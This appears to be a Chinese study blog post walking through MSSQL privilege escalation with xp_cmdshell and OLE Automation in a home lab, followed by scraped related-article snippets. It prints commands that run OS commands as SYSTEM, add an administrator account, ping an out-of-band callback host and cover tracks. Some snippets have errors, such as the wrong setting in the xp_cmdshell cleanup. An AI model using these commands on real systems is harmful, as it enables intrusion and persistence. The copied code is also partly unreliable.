2023.7.2-3-4Mssql xp_cmdshell提权
1.概念
Mssql和SQL sever的一个产品的不同名称。都属于微软公司旗下。而上述Mssql xp_cmdshell提权也属于数据库提权的一种。
主要依赖于sql server自带的存储过程。
1.1xp_cmdshell提权
扩展存储过程中xp_cmdshell是一个开放接口,可以让sql sever调用cmd命令。
此过程在 SQL sever2000中默认开启,2005本身及之后版本默认禁止。若想使用,则先需拥有SA账户相应权限,使用sp_configure将其开启。
原理:是在xp_cmdshell的扩展储存过程,通过执行命令方式利用操作系统权限。SA是Microsoft SQLsever的管理员账号,拥有最高权限,可以执行扩展存储过程,并获得返回值。
2005的xp_cmdshell权限一般为system,2008多数为nt authority\network service
1.2xp_cmdshell提权前提
- 拿到sa权限的账户密码
- sqlsever服务未降权
2.环境
实验环境:Windows 7系统、SQL Server 2008版本64位
3.操作
3.1从官网下载SQL sever2008 x64 SQLExprAdva版本
Download Microsoft SQL Server 2008 R2 SP2 - Express Edition from Official Microsoft Download Center
SQLExprAdva(包含数据库引擎、Express Tools、Reporting Services 和全文搜索),此包包含 SQL Express 的所有组件。此包的下载大小大于“带有工具”的版本,因为它还同时包含“全文搜索”和 Reporting Services。
3.2安装sql sever环境

3.3对所有SQL Server服务使用相同的账户,然后选在system账户(决定了之后提权是否是system权限)

3.4初始化,服务器名称填写lcn-PC(同主机名)

3.5配置重启数据库
点击数据库属性,然后直接确定;之后点击重新启动数据库。

3.6添加SA用户,并修改密码
SQL Server提权需要获取SA用户权限,即设置SA用户并设置密码(123456)。

3.7设置权限,在SA服务器角色中修改最高权限为public和sysadmin。

3.8设置外联;勾选允许连接到数据库引擎并启用登录;

3.9 设置好之后重启数据库
3.10测试外联;打开SQL server配置管理器的网络设置,检查TCP/IP协议是否开启,之后使用navicat进行连接。

成功连接到navicat 16;

4.提权操作
4.1查看组件
执行操作
SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #查看系统实例中是否有xp_cmdshell存储过程;返回行数>0则有,=0则无

4.2若无组件,则开启组件
执行指令:
开启:
EXEC sp_configure 'show advanced options', 1; #将高级选项改为1,即启用
RECONFIGURE ; #若使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数
EXEC sp_configure xp_cmdshell', 1;#同1 ,1表示启用,若关闭则为0,别的不变;
RECONFIGURE;

4.2执行命令,之后执行的命令都是以system权限执行

4.3之后执行添加用户命令操作指令,结果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #创建用户lusang并设置密码为123456;..表示引用master数据库中的xp_cmdshell存储过程,省略指定数据库名称
exec master..xp_cmdshell 'net localgroup administrators lusang /add';#将用户lusang加入管理员工作组

查看已经显示用户创建成功;

4.4利用完权限后,清理痕迹
执行操作将两项配置还原为0;
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #显示已经关闭xp_cmdshell接口

5.Ole提权(Object Linking and Embedding)
当xp_cmdshell不可用时,则可以利用sp_oacreate提权;其本身是一个很危险的存储过程,可以删除、复制、移动文件,或者是配合sp_oamethod来写文件执行cmd命令。
提权条件:系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问。
5.1判断组件是否存在
执行指令:
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0证明不存在,返回1则存在

5.2开启组件
执行指令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE; #使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

5.3执行组件
执行指令:
declare @cmd INT;
EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';
#通过OLE Automation创建了一个WScriot.Shell对象,之后用run方式执行指定的命令行操作,ping操作,0是窗口样式参数,表示隐藏命令行窗口,true表示等待命令执行完毕。

5.4之后尝试创建用户
daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';

查看显示创建成功;

5.5恢复环境,清理痕迹
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

6.总结
针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。
数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。
2023.7.2-3-4Mssql xp_cmdshell提权的更多相关文章
- SQLServer的XP_CmdShell提权
当我们拿到了某个网站SQLServer数据库的SA权限用户密码的话,我们就可以使用XP_CmdShell提权了. 开启xp_cmdshell exec sp_configure 'show advan ...
- SQL注入中利用XP_cmdshell提权的用法(转)
先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称 打过了sp3,asp+iis+mssql .首先扫描了一下子端口,呵呵,开始的一般步骤. 端口21开放: ...
- [转载]SQL Server提权系列
本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...
- 通过Mssql提权的几种姿势
本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法. 一. xp_cmdshell提权 上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行: exec ...
- MSSQL提权之xp_cmdshell
0x01 前提 getshell或者存在sql注入并且能够执行命令. sql server是system权限,sql server默认就是system权限. 0x02 xp_cmdshell 有了xp ...
- mssql数据库提权(xp_cmdshell)
1.关于 "xp_cmdshell" "存储过程":其实质就是一个"集合",那么是什么样的结合呢,就是存储在SqlServer中预先定义好的 ...
- 网站sqlserver提权操作
在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...
- 一次利用MSSQL的SA账户提权获取服务器权限
遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...
- WIN提权总结【本地存档-转载】
[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...
- MSSQL 漏洞利用与提权
1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...
随机推荐
- SpringBoot 2.5.5整合SpringSecurity+JWT
目录结构 添加依赖 <!-- SpringSecurity --> <dependency> <groupId>org.springframework.boot&l ...
- 全网最适合入门的面向对象编程教程:07 类和对象的Python实现-类型注解-提高代码可读性的利器
全网最适合入门的面向对象编程教程:07 类和对象的 Python 实现-类型注解-提高代码可读性的利器 摘要: 本文对类型注解的定义.使用原因进行了基本介绍,同时对使用 typing 模块实现类型提示 ...
- 解锁网络无限可能:揭秘微软工程师力作——付费代理IP池深度改造与实战部署指南
基于付费代理的代理IP池 项目来源 此项目为微软某个工程师构建的代理IP池,我对此进行了改造.可以用于生产环境中的爬虫项目 阅读前建议 阅读我之前发布的爬虫基础的文章,了解代理如何获取.使用等. 分为 ...
- canvas绘制飞线效果
在我们做的可视化大屏项目中,经常会遇到飞线的效果. 在我们的大屏编辑器中,可以通过拖拽+配置参数的方式很快就能够实现.下面是我们使用大屏编辑器实现的一个项目效果: 中间地图就有飞线的效果. 抛开编辑器 ...
- [oeasy]python0043_八进制_oct_octal_october_octave
八进制(oct) 回忆上次内容 什么是 转义? 转义转义 转化含义 \ 是 转义字符 \n.\r是 转义序列 还有什么 转义序列 吗? \a是 响铃 \b 退格键 \t 水平制表符 tab键 \v.\ ...
- JavaScript小面试~href和src的区别
href:中文名称叫超文本引用 src:中文叫资源 先要知道它们两个的区别,我们首先要看哪些元素在使用这些属性. href:a,link src:img,style,input,script,ifra ...
- CRC 循环冗余效验
CRC循环冗余效验 利用多项式 x6 + x4 + x3,实际为使用模2除法来做的加密 常用crc多项式有 名称 生成多项式 数值式 简记式 标准引用 CRC-4 x4+x+1 0x1'3 0x3 I ...
- 交叉熵、KL 散度 | 定义与相互关系
1 KL 散度 对于离散概率分布 \(P\) 和 \(Q\) ,KL 散度定义为: \[\text{KL}(P \| Q) = -E_{x\sim P}\log P(x)-\log Q(x) \\ = ...
- Jmeter函数助手-自带函数汇总
Jmeter函数助手自带函数汇总(Jmeter官网-函数助手详解:https://jmeter.apache.org/usermanual/functions.html) BeanShell:用于简单 ...
- DNS在架构中的使用
1 介绍 DNS(Domain Name System,域名系统)是一种服务,它是域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP地址数串. ...